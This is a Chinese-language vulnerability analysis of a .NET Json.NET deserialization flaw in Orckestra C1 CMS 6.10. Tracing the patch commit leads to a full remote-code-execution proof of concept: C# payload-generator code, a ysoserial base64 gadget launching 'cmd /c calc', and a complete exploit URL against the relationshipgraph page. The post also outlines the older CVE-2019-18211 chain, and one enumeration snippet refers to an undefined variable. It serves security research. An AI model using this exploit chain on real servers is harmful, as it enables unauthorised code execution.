警告
本文最后更新于 2021-12-04,文中内容可能已过时。
Orckestra C1 CMS 6.10存在 .net 反序列化漏洞,需要登录,成因是因为TypeNameHandling.Auto
下载 https://github.com/Orckestra/C1-CMS-Foundation/releases/download/v6.10/C1.CMS.6.10.zip
然后Visual Studio打开运行。
根据cve描述和补丁对比发现漏洞点存在于Composite.dll,使用github的对比发现在此commit中增加了对反序列化绑定类型的校验。
https://github.com/Orckestra/C1-CMS-Foundation/commit/73dc26050e5f3ffc31531aa332463de9398bc213
而我在之前的文章中写过,json.net如果使用了TypeNameHandling.All或者TypeNameHandling.Auto,会造成反序列化问题。官方建议如果使用TypeNameHandling要使用binder来控制反序列化的类型。
那么根据补丁我们来看6.10版本的CompositeSerializationBinder类
有漏洞的6.10版本中判断了assemblyName等于Composite.Generated
并且typeName以CompositeGenerated开头,进行自写类的type逻辑处理,别的type直接调用基类,那么等于没做限制。
CompositeSerializationBinder被用在CompositeJsonSerializer类中,其中有两个静态方法需要注意
直接传入json字符串然后反序列化,并且TypeNameHandling为auto。
第二个静态方法比较关键
分别获取json中的meta:obj、meta:type,然后根据type反射获取其Deserialize方法,如果为空则调用上面的第一个静态方法,传入meta:obj标签的值,直接反序列化。
我们可以构造payload如下
1
| {"meta:obj":"","meta:type":""}
|
当type获取不到静态Deserialize方法时,进入CompositeJsonSerializer.Deserialize<T>(text)
那么这两个点都可控,接着我们看哪里调用了这个方法。
EntityTokenSerializer.Deserialize(string)调用其两个参数的重载方法,经过CompositeJsonSerializer.IsJsonSerialized(serializedEntityToken)判断进入CompositeJsonSerializer.Deserialize<EntityToken>(serializedEntityToken, includeHashValue)
这里接受的类型为EntityToken,所以我们需要寻找EntityToken中可以存储payload的地方,例如一个object类型的字段。
我们可以通过几行代码来寻找哪些类继承了EntityToken类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
| Assembly[] assemblies = AppDomain.CurrentDomain.GetAssemblies();
foreach (var assembly in assemblies)
{
if (assembly.FullName.Contains("Composite"))
{
Type[] types = assembly.GetTypes();
foreach (var type in types)
{
try
{
if (!typeof(EntityToken).IsAssignableFrom(method.ReturnType))
{
continue;
}
else
{
var memberInfos = type.GetProperties(BindingFlags.NonPublic|BindingFlags.Instance|BindingFlags.Public);
foreach (var member in memberInfos)
{
resp($"type:{type.Name} 字段名:{member.Name} 类型:{member.PropertyType}");
}
}
}
catch
{
}
}
}
}
|
发现DataGroupingProviderHelperEntityToken类中GroupingValues是一个Dictionary<string, object>
类型,可以存放gadget。
那么可以构造payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
| using Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper;
using Newtonsoft.Json;
using System;
using System.Collections.Generic;
using System.IO;
using System.Runtime.Serialization;
using System.Security.Principal;
using System.Text;
namespace ConsoleApp1
{
class Program
{
static void Main(string[] args)
{
// .\ysoserial.exe -f binaryformatter -g TextFormattingRunProperties -c calc --minify
var windowsIdentity = new WindowsIdentityIdentityMarshal("AAEAAAD/////AQAAAAAAAAAMAgAAABtNaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAD6AjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOmE9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSI+PE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT48YTpQcm9jZXNzPjxhOlByb2Nlc3MuU3RhcnRJbmZvPjxhOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBjYWxjIiBGaWxlTmFtZT0iY21kIi8+PC9hOlByb2Nlc3MuU3RhcnRJbmZvPjwvYTpQcm9jZXNzPjwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs=");
Dictionary<string, object> dictionary = new Dictionary<string, object> { };
dictionary.Add("asd", windowsIdentity);
DataGroupingProviderHelperEntityToken dataGroupingProviderHelperEntityToken = new DataGroupingProviderHelperEntityToken(typeof(DataGroupingProviderHelperEntityToken).AssemblyQualifiedName);
dataGroupingProviderHelperEntityToken.GroupingValues = dictionary;
StringBuilder sb = new StringBuilder();
using (StringWriter sw = new StringWriter(sb))
using (JsonTextWriter writer = new JsonTextWriter(sw))
{
writer.QuoteChar = '\'';
JsonSerializer ser = new JsonSerializer();
ser.TypeNameHandling = TypeNameHandling.All;
ser.Serialize(writer, dataGroupingProviderHelperEntityToken);
}
Console.WriteLine(sb);
Console.ReadKey();
}
}
[Serializable]
public class WindowsIdentityIdentityMarshal : ISerializable
{
public WindowsIdentityIdentityMarshal(string b64payload)
{
B64Payload = b64payload;
}
private string B64Payload { get; }
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
Console.WriteLine(typeof(WindowsIdentity).AssemblyQualifiedName);
info.SetType(typeof(WindowsIdentity));
info.AddValue("System.Security.ClaimsIdentity.actor", B64Payload);
}
}
}
|
生成之后替换一下程序集名称
1
| {'$type':'Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper.DataGroupingProviderHelperEntityToken, Composite','Type':'Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper.DataGroupingProviderHelperEntityToken, Composite, Version=6.10.7583.21856, Culture=neutral, PublicKeyToken=null','Source':'','Id':'','GroupingValues':{'$type':'System.Collections.Generic.Dictionary`2[[System.String, mscorlib],[System.Object, mscorlib]], mscorlib','asd':{'$type':'System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089','System.Security.ClaimsIdentity.actor':'AAEAAAD/////AQAAAAAAAAAMAgAAABtNaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAD6AjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOmE9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSI+PE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT48YTpQcm9jZXNzPjxhOlByb2Nlc3MuU3RhcnRJbmZvPjxhOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBjYWxjIiBGaWxlTmFtZT0iY21kIi8+PC9hOlByb2Nlc3MuU3RhcnRJbmZvPjwvYTpQcm9jZXNzPjwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs='}},'Payload':null,'SerializedTypeName':'Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper.DataGroupingProviderHelperEntityToken, Composite, Version=6.10.7583.21856, Culture=neutral, PublicKeyToken=null'}
|
然后再找一下哪里调用了EntityTokenSerializer.Deserialize(serializedEntityToken);
c:\Website\Composite\content\views\relationshipgraph\Default.aspx.cs
直接get传入EntityToken进行反序列化。
由此构造payload
1
| http://localhost:36859/Composite/content/views/relationshipgraph/Default.aspx?EntityToken={"meta:obj":"{'$type':'Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper.DataGroupingProviderHelperEntityToken, Composite','Type':'Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper.DataGroupingProviderHelperEntityToken, Composite, Version=6.10.7583.21856, Culture=neutral, PublicKeyToken=null','Source':'','Id':'','GroupingValues':{'$type':'System.Collections.Generic.Dictionary`2[[System.String, mscorlib],[System.Object, mscorlib]], mscorlib','asd':{'$type':'System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089','System.Security.ClaimsIdentity.actor':'AAEAAAD%2F%2F%2F%2F%2FAQAAAAAAAAAMAgAAABtNaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAD6AjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOmE9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSI%2BPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT48YTpQcm9jZXNzPjxhOlByb2Nlc3MuU3RhcnRJbmZvPjxhOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBjYWxjIiBGaWxlTmFtZT0iY21kIi8%2BPC9hOlByb2Nlc3MuU3RhcnRJbmZvPjwvYTpQcm9jZXNzPjwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs%3D'}},'Payload':null,'SerializedTypeName':'Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper.DataGroupingProviderHelperEntityToken, Composite, Version=6.10.7583.21856, Culture=neutral, PublicKeyToken=null'}","meta:type":"System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"}
|
其中"meta:type":"System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
这个类型可以随便给,只要实现序列化接口就行。
c1cms历史洞6.5版本以前还有一个CVE-2019-18211,也是EntityTokenSerializer出的问题,在EntityTokenSerializer.cs中,
如果不以{
开头则进入DeserializeLegacy
而这个方法中可以调用任意类的Deserialize(string)静态方法,于是找到了Microsoft.Practices.EnterpriseLibrary.Logging.Formatters.BinaryLogFormatter
造成反序列化rce
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。